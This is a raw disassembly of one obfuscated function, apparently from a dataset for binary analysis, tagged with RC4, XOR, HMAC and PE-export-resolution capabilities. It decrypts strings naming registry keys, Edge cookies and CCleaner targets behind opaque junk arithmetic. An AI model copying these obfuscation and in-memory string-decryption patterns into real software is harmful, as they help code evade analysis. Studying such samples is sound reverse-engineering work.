Function at 0x10015d76
Capabilities:
Authenticate hmac
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x420
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
mov edx, str.disabled_by_default_viz.surface_id_flow
push esi
push edi
mov dword [esp + 0xe4], ecx
jmp 0x10015da4
sub al, 0x30
cmp al, 9
ja 0x10015fa3
inc edx
mov al, byte [edx]
test al, al
jne 0x10015d97
mov eax, dword [0x10029d8c]
push 5
imul edx, eax, 0xbab5a68c
xor eax, eax
pop edi
mov esi, eax
mov dword [esp + 0x94], 0x41
mov dword [esp + 0x98], 0x33
mov ecx, eax
mov dword [esp + 0x9c], 0x64
mov dword [esp + 0xa0], edi
mov dword [esp + 0xa4], 0xffffff23
sub esi, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, edi
jl 0x10015def
xorps xmm1, xmm1
mov dword [esp + 0x24], 0x48
mov dword [esp + 0x28], 0x42
xorps xmm2, xmm2
mov dword [esp + 0x2c], 0x61
mov dword [esp + 0x30], 0xffffff15
movups xmm0, xmmword [esp + 0x24]
mov dword [esp + 0x140], 0x18
mov dword [esp + 0x144], 0x50
psubd xmm1, xmm0
mov dword [esp + 0x148], 0x2b
movaps xmm0, xmm1
mov dword [esp + 0x14c], 0xffffff6d
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0xf0], esi
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [esp + 0x140]
movd dword [esp + 0x128], xmm1
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [esp + 0x190], xmm1
mov esi, edx
mov ecx, eax
and esi, 0x6cd9b333
cmp byte [str.sine_in_out], al
je 0x10015ee1
inc ecx
cmp ecx, 0x1f9d
je 0x10015fb2
cmp byte [ecx + str.sine_in_out], al
jne 0x10015ec0
cmp ecx, 0x1110
jg 0x10015fb9
xor edx, 0x398e345f
mov dword [esp + 0x1c], edx
mov ecx, edx
mov dword [esp + 0x5c], 0xc
and ecx, 0x910c33c7
mov dword [esp + 0x60], 0xffffff9c
push 0x59
mov dword [esp + 0x58], ecx
mov ecx, eax
pop esi
add esi, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 2
jl 0x10015f0c
mov dword [esp + 0x18c], esi
lea edi, [esp + 0x378]
push 0xc
pop ecx
mov esi, str.DetectHKCUSoftwareAdobeAcrobat_Reader10.0
mov dword [esp + 0x68], 0x4fd75a94
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x6c], 0xd5c9a65d
mov dword [esp + 0x70], 0x6996e807
mov dword [esp + 0x74], 0xcce45f5
movsw word es:[edi], word [esi]
mov dword [esp + 0x78], 0xa9aa4330
mov dword [esp + 0x7c], 0x513ea025
mov dword [esp + 0x80], 0xcbe55b68
movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x54]
mov dword [esp + 0x84], 0x6ed92312
mov byte [esp + 0x88], 0x30
mov dword [esp + 0x10], eax
mov dword [esp + 0x3c], eax
mov edi, str.stretch_left
mov cl, 0x73
sub cl, 0x30
cmp cl, 9
ja 0x10015fc4
inc edi
mov cl, byte [edi]
test cl, cl
jne 0x10015f92
jmp 0x10015fca
imul eax, dword [0x10029d8c], 0xdf7cbdee
jmp 0x10015dad
call fcn.100150b1
xor eax, eax
lea edx, [esi - 0x2e867c3a]
jmp 0x10015ee7
lea esi, [edx - 0x18d8337b]
mov ecx, dword [esp + 0x3c]
or esi, 0x77ed0a53
mov byte [esp + ecx + 0x200], cl
inc ecx
mov dword [esp + 0x3c], ecx
cmp ecx, 0x100
jb 0x10015f8b
mov edi, eax
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
movzx ecx, al
mov dword [esp + 0x20], ecx
mov ecx, str.disabled_by_default_viz.surface_id_flow
jmp 0x10016006
sub al, 0x30
cmp al, 9
ja 0x1001600c
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10015ffd
jmp 0x10016016
xor esi, 0xb5ba2c48
mov dword [esp + 0x1c], esi
xor edx, edx
mov cl, byte [esp + edi + 0x200]
push 0x32
pop esi
mov eax, edi
mov byte [esp + 0xf], cl
div esi
mov esi, dword [esp + 0x20]
movzx ecx, cl
movzx eax, byte [esp + edx + 0x378]
mov edx, 0x1901
add eax, dword [esp + 0x10]
add ecx, eax
movzx eax, cl
mov ecx, esi
mov dword [esp + 0x10], eax
mov eax, str.disabled_by_default_viz.surface_id_flow
test esi, esi
je 0x1001606c
add edx, ecx
inc eax
cmp edx, 0x15ea
ja 0x1001622b
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10016056
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
imul esi, edx, 0xcfeb8add
mov al, byte [esp + ecx + 0x200]
mov byte [esp + edi + 0x200], al
inc edi
mov al, byte [esp + 0xf]
mov byte [esp + ecx + 0x200], al
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
cmp edi, 0x100
jb 0x10015ff6
xor eax, eax
mov dword [esp + 0x54], esi
mov edi, eax
mov dword [esp + 0x10], eax
lea eax, [esi - 0x3ef629f9]
mov esi, edi
mov dword [esp + 0x3c], eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + esi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + esi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + esi + 0x200]
mov ecx, dword [esp + 0x3c]
add eax, edx
movzx eax, al
add ecx, 0xbe7d24b1
mov dword [esp + 0x3c], ecx
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + edi + 0x68]
mov byte [esp + edi + 0x3ac], al
inc edi
cmp edi, 0x21
jb 0x100160bd
mov esi, dword [esp + 0x54]
xor eax, eax
mov dword [esp + 0x24], 0x49
or esi, 0xf4c13711
mov dword [esp + 0x28], 0x63
mov dword [esp + 0x2c], 2
mov dword [esp + 0x30], 0xffffff4a
movups xmm1, xmmword [esp + 0x24]
mov byte [esp + 0x3cd], al
paddd xmm1, xmm2
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd edx, xmm1
add edx, 8
mov dword [esp + 0x19c], edx
cmp byte [str.sine_in_out], al
je 0x100161b0
inc eax
cmp eax, 0x26ea
jg 0x10016243
cmp byte [eax + str.sine_in_out], 0
jne 0x10016190
cmp eax, 0x1bbc
jg 0x10016248
lea esi, [ecx - 0x1bb33606]
call fcn.10014eb8
push 0x22
pop eax
mov dword [esp + 0xb4], eax
mov edx, eax
xor eax, eax
mov dword [esp + 0x40], 0x4a
mov dword [esp + 0x44], 0x64
mov ecx, eax
mov dword [esp + 0x48], 0xffffff32
add edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x100161e3
mov dword [esp + 0x194], edx
and esi, 0x4279da05
mov dword [esp + 0x58], eax
mov edi, eax
mov dword [esp + 0x40], 0x4c
mov dword [esp + 0x44], 0x40
mov dword [esp + 0x48], 0xffffff74
inc eax
cmp eax, 0x221
je 0x10016253
cmp byte [eax + str.stretch_left], 0
jne 0x10016218
jmp 0x10016259
call fcn.100152c8
mov edx, dword [esp + 0x1c]
add edx, 0x7143a990
mov dword [esp + 0x1c], edx
jmp 0x10016070
call fcn.100153a1
xor esi, 0xdcd186a0
jmp 0x100161b6
and esi, 0xb071ca67
mov eax, esi
or eax, 0xb0916d6f
mov dword [0x10029ee4], eax
call fcn.10014dfd
mov ecx, dword [esp + 0x58]
sub ecx, dword [esp + edi*4 + 0x40]
inc edi
mov dword [esp + 0x58], ecx
push 0
pop eax
cmp edi, 3
jl 0x10016218
push 9
mov dword [esp + 0x58], esi
mov ecx, eax
pop edx
mov dword [esp + 0x40], 0x23
mov dword [esp + 0x44], 0x2b
mov dword [esp + 0x48], 0xffffffba
sub edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x100162a0
mov esi, str.cryptopacket.c
mov dword [esp + 0x1b8], edx
mov edx, dword [esp + 0x54]
lea edi, [esp + 0x24]
mov dword [esp + 0x68], 0xff5d9fca
add edx, 0xe8215b7a
mov dword [esp + 0x6c], 0xf440656a
mov ecx, eax
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x70], 0xa9be2a40
mov dword [esp + 0x74], 0xe364f9f6
mov dword [esp + 0x78], 0xf0a4ae7
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x7c], 0x19c31fbb
mov dword [esp + 0x80], 0x1f4e92e4
mov dword [esp + 0x84], 0x52ed1157
movsd dword es:[edi], dword [esi]
mov byte [esp + 0x88], 0x67
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x1001631b
xor edx, 0xe49fb027
mov esi, eax
mov dword [esp + 0x14], edx
mov dl, byte [esp + esi + 0x200]
mov eax, esi
and eax, 0xf
movzx ecx, dl
movzx eax, byte [esp + eax + 0x24]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov byte [esp + edi + 0x200], dl
cmp esi, 0x100
jb 0x10016337
xor eax, eax
mov dword [esp + 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + edi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + edi + 0x200]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + esi + 0x68]
mov byte [esp + esi + 0x378], al
inc esi
cmp esi, 0x21
jb 0x1001637a
push 0x12
xor eax, eax
mov dword [esp + 0x60], 0x1b
pop ecx
mov byte [esp + 0x399], al
mov edi, eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0x60], 0xffffffd5
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
mov ecx, str.disabled_by_default_viz.surface_id_flow
jmp 0x10016413
sub al, 0x30
cmp al, 9
ja 0x10016651
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10016406
mov eax, dword [esp + 0x14]
xor eax, 0x39303441
mov edx, str.stretch_left
push str.RegKey13HKCUSoftwarePowerArchiverIntFilesActive_File10W
mov ecx, str.sine_in_out
mov dword [esp + 0x20], eax
call fcn.10015703
mov edx, dword [esp + 0xec]
add edx, dword [esp + edi*4 + 0x60]
inc edi
pop ecx
push 2
pop ecx
mov dword [esp + 0xe8], edx
cmp edi, ecx
jl 0x100163fa
mov dword [esp + 0x110], 0x16
lea edi, [esp + 0x94]
mov dword [esp + 0x114], 0x15
movaps xmm1, xmm2
mov dword [esp + 0x118], 0x10
mov esi, str.Opens_CCleaner_website
mov dword [esp + 0x11c], 0xffffff9d
movups xmm0, xmmword [esp + 0x110]
mov dword [esp + 0x28], ecx
push 0x49
paddd xmm1, xmm0
mov dword [esp + 0x28], 0x43
movaps xmm0, xmm1
mov dword [esp + 0x34], 0x156
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0xbc], 0x1100f33e
movups xmm0, xmm1
mov dword [esp + 0xc0], 0x5dcb95a4
psrldq xmm0, 4
paddd xmm1, xmm0
mov word [esp + 0xc4], 0xe364
pop ecx
movd eax, xmm1
movaps xmm1, xmm2
mov dword [esp + 0x2c], ecx
movups xmm0, xmmword [esp + 0x24]
add eax, 0x28
mov dword [esp + 0x24], ecx
mov dword [esp + 0x1b4], eax
psubd xmm1, xmm0
mov byte [esp + 0xc3], cl
movaps xmm0, xmm1
mov dword [esp + 0x28], 0x26
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x30], 0xffffff5a
movups xmm0, xmm1
mov byte [esp + 0xc2], 0x64
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0xc4], 0x38562000
movd eax, xmm1
push 0x18
mov dword [esp + 0xcc], 0x192f006a
add eax, 0x210
mov dword [esp + 0xd0], 0xce9c0d5e
mov dword [esp + 0x1c0], eax
pop eax
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x2c], eax
movups xmm1, xmmword [esp + 0x24]
mov byte [esp + 0xd0], 0xbc
movsw word es:[edi], word [esi]
paddd xmm1, xmm2
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movsb byte es:[edi], byte [esi]
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x20
mov dword [esp + 0x168], eax
xor eax, eax
mov edi, eax
mov ecx, eax
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x100165bf
mov esi, eax
xor edx, edx
mov cl, byte [esp + esi + 0x200]
mov eax, esi
mov byte [esp + 0xf], cl
div dword [esp + 0x110]
movzx ecx, cl
movzx eax, byte [esp + edx + 0x94]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov al, byte [esp + 0xf]
mov byte [esp + edi + 0x200], al
cmp esi, 0x100
jb 0x100165d1
mov cl, byte [str.sine_in_out]
xor eax, eax
mov dword [esp + 0x10], eax
mov byte [esp + 0xf], cl
test cl, cl
je 0x10016662
inc eax
cmp eax, 0x1edc
jg 0x10016640
cmp byte [eax + str.sine_in_out], 0
jne 0x1001662f
cmp eax, 0x142b
jle 0x10016662
imul edi, dword [esp + 0x1c], 0xf87f3a39
jmp 0x1001666c
imul eax, dword [esp + 0x14], 0xd0782bed
mov dword [esp + 0x14], eax
jmp 0x1001641b
mov edi, dword [esp + 0x1c]
xor edi, 0xb8fb51af
and edi, 0x811f902a
mov dword [esp + 0x1c], edi
call fcn.100150b1
xor esi, esi
mov edi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + edi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + edi + 0x200]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + esi + 0xb8]
mov byte [esp + esi + 0x35c], al
inc esi
cmp esi, 0x19
jb 0x1001667f
mov edi, dword [esp + 0x1c]
xor eax, eax
push 3
pop esi
mov byte [esp + 0x375], al
mov edx, eax
mov dword [esp + 0x94], 0x24
mov ecx, eax
mov dword [esp + 0x98], 0xb
mov dword [esp + 0x9c], 0x3e
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0xffffff90
sub edx, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, 5
jl 0x10016724
push 0x41
mov dword [esp + 0x1c4], edx
mov ecx, eax
pop edx
mov dword [esp + 0x40], 0x21
mov dword [esp + 0x44], 0x2f
mov dword [esp + 0x48], 0xff6e
add edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, esi
jl 0x10016755
mov dword [esp + 0x188], edx
mov ecx, eax
mov edx, eax
mov dword [esp + 0x94], 1
mov dword [esp + 0x98], 0x12
mov dword [esp + 0x9c], 0x63
mov dword [esp + 0xa0], 0x35
mov dword [esp + 0xa4], 0xffffff55
sub edx, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, 5
jl 0x100167a0
or edi, 0xffbded94
mov dword [esp + 0x158], edx
push 0x60
pop esi
mov edx, edi
mov dword [esp + 0x5c], 0x30
mov ecx, esi
mov dword [esp + 0x60], 0xffffff70
and edx, 0xf6696354
add ecx, dword [esp + eax*4 + 0x5c]
inc eax
cmp eax, 2
jl 0x100167d7
mov dword [esp + 0x24], 0x5c
movaps xmm1, xmm2
mov dword [esp + 0x28], 0x31
mov dword [esp + 0x2c], 0xb
mov dword [esp + 0x30], 0x6ff68
movups xmm0, xmmword [esp + 0x24]
mov dword [esp + 0x15c], ecx
mov ecx, str.sine_in_out
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x80000
mov dword [esp + 0x164], eax
mov al, byte [esp + 0xf]
jmp 0x10016850
sub al, 0x30
cmp al, 9
ja 0x10016856
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10016847
jmp 0x1001685e
mov edi, edx
or edi, 0x1097ec88
call fcn.10015164
push 0x3d
xor eax, eax
mov dword [esp + 0x44], 0x4c
pop edx
mov dword [esp + 0x44], 0x5c
mov ecx, eax
mov dword [esp + 0x48], 0xffffff1b
add edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x10016882
mov dword [esp + 0x160], edx
push 7
pop edx
mov dword [esp + 0x94], 8
mov ecx, eax
mov dword [esp + 0x98], 0x38
mov dword [esp + 0x9c], 9
mov dword [esp + 0xa0], 0x27
mov dword [esp + 0xa4], 0xffffff96
sub edx, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, 5
jl 0x100168cf
mov dword [esp + 0x1ac], edx
mov ecx, eax
mov dword [esp + 0x40], 0x4b
mov dword [esp + 0x44], 0x5e
mov dword [esp + 0x48], 0xfffffef7
add esi, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x100168fd
push 0x4a
pop edx
push 2
mov dword [esp + 0x1b4], esi
mov ecx, eax
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x64], 0x1ffa7
pop esi
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, esi
jl 0x10016926
push 0x5e
mov dword [esp + 0x19c], edx
mov ecx, eax
pop edx
mov dword [esp + 0x5c], 0x26
mov dword [esp + 0x60], 0xffffff7c
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, esi
jl 0x1001694b
push 0x1e
mov dword [esp + 0x1a4], edx
mov ecx, eax
pop edx
mov dword [esp + 0x40], 0x55
mov dword [esp + 0x44], 0x23
mov dword [esp + 0x48], 0xffffff6a
add edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x10016978
mov dword [esp + 0x1cc], edx
mov ecx, eax
mov edx, eax
mov dword [esp + 0x40], 0x25
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0xffffffd9
sub edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x100169a1
mov dword [esp + 0x1c8], edx
and edi, 0xc939db37
cmp byte [str.disabled_by_default_viz.surface_id_flow], al
je 0x100169d8
inc eax
cmp eax, 0x7ea
jg 0x100169d3
cmp byte [eax + str.disabled_by_default_viz.surface_id_flow], 0
jne 0x100169c0
jmp 0x100169d8
call fcn.100153a1
push str.IECompatCache
mov edx, str.sine_in_out
mov ecx, str.disabled_by_default_viz.surface_id_flow
call fcn.10015703
pop ecx
push 4
xor eax, eax
mov dword [esp + 0x60], 0x5d
pop edx
mov dword [esp + 0x60], 0x3ff9f
mov ecx, eax
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, esi
jl 0x10016a04
mov dword [esp + 0x1c4], edx
mov ecx, edi
mov dl, byte [str.disabled_by_default_viz.surface_id_flow]
or ecx, 0xcc7936d1
movzx esi, dl
mov dword [esp + 0xac], 0x3b
mov dword [esp + 0x24], 0x2b
mov dword [esp + 0x28], 6
mov dword [esp + 0x2c], 0x39
mov dword [esp + 0x30], 0xffffff5b
mov dword [esp + 0x3c], eax
mov byte [esp + 0xf], dl
mov dword [esp + 0x14], esi
mov edx, str.disabled_by_default_viz.surface_id_flow
mov dword [esp + 0x10], 0x1512
cmp dword [esp + 0x14], eax
je 0x10016a8d
add dword [esp + 0x10], esi
inc edx
cmp dword [esp + 0x10], 0xa44
ja 0x10016a8d
movzx esi, byte [edx]
test esi, esi
jne 0x10016a6f
mov ecx, edi
or ecx, 0x720a816b
mov edx, dword [esp + 0x3c]
lea edi, [ecx + 0x45259779]
mov esi, dword [esp + 0xac]
add esi, dword [esp + edx*4 + 0x24]
inc edx
mov dword [esp + 0xac], esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0x3c], edx
cmp edx, 4
jl 0x10016a5c
push 0xe
pop edx
mov dword [esp + 0x5c], 6
mov ecx, eax
mov dword [esp + 0x60], 0xffffffec
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 2
jl 0x10016acc
push 5
mov dword [esp + 0x158], edx
mov ecx, eax
mov dword [esp + 0x98], 0x29
mov dword [esp + 0x9c], 0x1b
mov dword [esp + 0xa0], 7
mov dword [esp + 0xa4], 0x1f
mov dword [esp + 0xa8], 0xffffff96
pop edx
sub ecx, dword [esp + eax*4 + 0x94]
inc eax
cmp eax, edx
jl 0x10016b19
mov dword [esp + 0x24], 0x3a
movaps xmm1, xmm2
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], 0xe
mov dword [esp + 0x30], 0xffffff69
movups xmm0, xmmword [esp + 0x24]
push 0x61
mov dword [esp + 0x154], ecx
paddd xmm1, xmm0
mov dword [esp + 0x60], 0x25
movaps xmm0, xmm1
mov dword [esp + 0x64], 0x64
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x68], 0xffffff16
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop esi
add eax, 0x4b
mov dword [esp + 0x16c], eax
xor edi, 0xff69be7d
or edi, 0xfb291e69
call fcn.100150b1
xor eax, eax
mov ecx, eax
add esi, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 3
jl 0x10016baa
push 0x16
pop ecx
mov dword [esp + 0x24], ecx
add edi, 0x51991c1
mov dword [esp + 0x28], 0x5f
mov dword [esp + 0x2c], 0x2d
mov dword [esp + 0x30], 0xffffff12
movups xmm1, xmmword [esp + 0x24]
mov dword [esp + 0x170], esi
mov esi, str.DetectHKCUSoftwareMySpaceIM
mov dword [esp + 0x1c], edi
lea edi, [esp + 0x68]
paddd xmm1, xmm2
mov dword [esp + 0xfc], 0x7f6ee934
movaps xmm0, xmm1
mov dword [esp + 0x100], 0x171fa307
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x104], 0xc1c147a7
movups xmm0, xmm1
mov word [esp + 0x108], 0x6fa3
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
push 8
add ecx, 0x4d
mov dword [esp + 0xe0], ecx
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, str.disabled_by_default_viz.surface_id_flow
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
mov edx, esi
xor edx, 0x44ad543f
mov dword [esp + 0x10], edx
cmp byte [esp + 0xf], al
je 0x10016c8f
mov dl, byte [esp + 0xf]
sub dl, 0x30
cmp dl, 9
mov edx, dword [esp + 0x10]
ja 0x10016c87
inc ecx
mov dl, byte [ecx]
mov byte [esp + 0xf], dl
test dl, dl
jne 0x10016c6a
jmp 0x10016c8f
mov esi, edx
or esi, 0x98d7806c
xor esi, 0xf7fdf6ec
mov ecx, eax
and esi, 0x38de4f33
mov dword [esp + 0x1c], esi
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x10016ca1
mov edi, eax
mov esi, eax
xor edx, edx
mov cl, byte [esp + edi + 0x200]
mov eax, edi
mov byte [esp + 0xf], cl
div dword [esp + 0xb4]
movzx ecx, cl
movzx eax, byte [esp + edx + 0x68]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [esp + esi + 0x200]
mov byte [esp + edi + 0x200], al
inc edi
mov al, byte [esp + 0xf]
mov byte [esp + esi + 0x200], al
cmp edi, 0x100
jb 0x10016cb5
mov esi, dword [esp + 0x1c]
mov ecx, 0xf55
mov edx, dword [esp + 0x14]
and esi, 0x87980c52
mov eax, str.disabled_by_default_viz.surface_id_flow
test edx, edx
je 0x10016d2c
add ecx, edx
inc eax
cmp ecx, 0x836
ja 0x10016d2c
movzx edx, byte [eax]
test edx, edx
jne 0x10016d18
jmp 0x10016d31
call fcn.100153a1
xor esi, 0xb39516ec
imul eax, esi, 0xcca4a95
mov dword [esp + 0x14], eax
mov dword [0x10029d8c], eax
xor eax, eax
mov dword [esp + 0x10], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x200]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x200]
mov byte [esp + edi + 0x200], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x200], cl
movzx eax, byte [esp + edi + 0x200]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + esi + 0xfc]
mov byte [esp + esi + 0x300], al
inc esi
cmp esi, 0xe
jb 0x10016d50
push 0x1d
pop ecx
push 0x70
mov dword [esp + 0xb8], ecx
xor eax, eax
mov byte [esp + 0x6d], cl
pop ecx
push 0x32
mov dword [esp + 0xf0], ecx
mov byte [esp + 0x6f], cl
pop ecx
mov byte [esp + 0x30e], al
mov byte [esp + 0x68], 0xc9
mov byte [esp + 0x6a], 0x13
mov dword [esp + 0x6c], 0x46ad0e7d
mov byte [esp + 0x70], cl
mov dword [esp + 0x71], 0x75f4edcb
mov dword [esp + 0x75], 0xe782fb01
mov dword [esp + 0x79], 0x35b3c124
mov dword [esp + 0x7d], 0xd2c1f848
mov dword [esp + 0x81], 0xa0926a95
mov dword [esp + 0x85], 0xfcc78086
mov dword [esp + 0x89], 0xef06c8b2
mov dword [esp + 0x8d], 0x4a9b06c1
mov byte [esp + 0x91], 0x68
cmp byte [str.sine_in_out], al
je 0x10016e65
inc eax
cmp eax, 0x695
je 0x10016e95
cmp byte [eax + str.sine_in_out], 0
jne 0x10016e48
cmp eax, 0x1c56
jle 0x10016e65
call fcn.100152c8
mov esi, dword [esp + 0x14]
mov edi, str.disabled_by_default_viz.surface_id_flow
mov edx, str.stretch_left
push str.RegKey7HKCUSoftwareBST_bsplayerFile6
mov ecx, edi
call fcn.10015703
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
mov edx, 0x482
pop ecx
mov byte [esp + 0xf], al
mov ecx, edi
movzx eax, al
jmp 0x10016eb9
mov esi, dword [esp + 0x14]
push esi
push ecx
call fcn.10015893
add esp, 8
sub esi, 0xef8b7b5
jmp 0x10016e69
add edx, eax
inc ecx
cmp edx, 0xc1f
ja 0x10016ebf
movzx eax, byte [ecx]
test eax, eax
jne 0x10016eab
jmp 0x10016eda
push str._Activity_History_Temp_Files_
mov edx, str.stretch_left
mov ecx, str.sine_in_out
call fcn.10015703
pop ecx
or esi, 0xfde94115
imul eax, esi, 0x698656e8
lea edi, [esp + 0xb8]
push 6
pop ecx
mov esi, str.Microsoft_Edge___Cookies
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x3c], eax
mov dword [0x10029ee4], eax
xor eax, eax
mov ecx, eax
movsb byte es:[edi], byte [esi]
inc ecx
cmp ecx, 0xcba
je 0x10016f1f
cmp byte [ecx + str.stretch_left], al
jne 0x10016eff
cmp ecx, 0x2276
jle 0x10016f26
call fcn.100150b1
jmp 0x10016f24
call fcn.100153a1
xor eax, eax
mov ecx, dword [esp + 0x3c]
mov edi, eax
or ecx, 0x507cf61c
mov dword [esp + 0x20], ecx
mov ecx, eax
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x10016f38
mov esi, eax
xor edx, edx
mov cl, byte [esp + esi + 0x200]
mov eax, esi
mov byte [esp + 0x1b], cl
div dword [esp + 0x140]
movzx ecx, cl
movzx eax, byte [esp + edx + 0xb8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov al, byte [esp + 0x1b]
mov byte [esp + edi + 0x200], al
cmp esi, 0x100
jb 0x10016f4a
mov esi, dword [esp + 0x3c]
xor eax, eax
mov edi, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x38], eax
mov ecx, str.stretch_left
mov al, 0x73
sub al, 0x30
cmp al, 9
ja 0x10016fc0
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10016fb1
jmp 0x10017001
push 0x73
mov edx, 0x148b
mov eax, str.stretch_left
pop ecx
add edx, ecx
inc eax
cmp edx, 0x165a
ja 0x10016fef
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10016fcd
mov esi, edi
and esi, 0xcbdc723e
mov dword [0x10029ee4], esi
jmp 0x10016ff4
call fcn.10015164
call fcn.10014dfd
mov edi, esi
or edi, 0xecceea3d
movzx eax, byte [str.sine_in_out]
mov esi, edi
or esi, 0xda8eca98
mov edx, 0x1ec6
mov ecx, str.sine_in_out
test eax, eax
je 0x1001704d
add edx, eax
inc ecx
cmp edx, 0x1717
ja 0x10017038
movzx eax, byte [ecx]
test eax, eax
jne 0x1001701e
add edi, 0x843807e
jmp 0x10017055
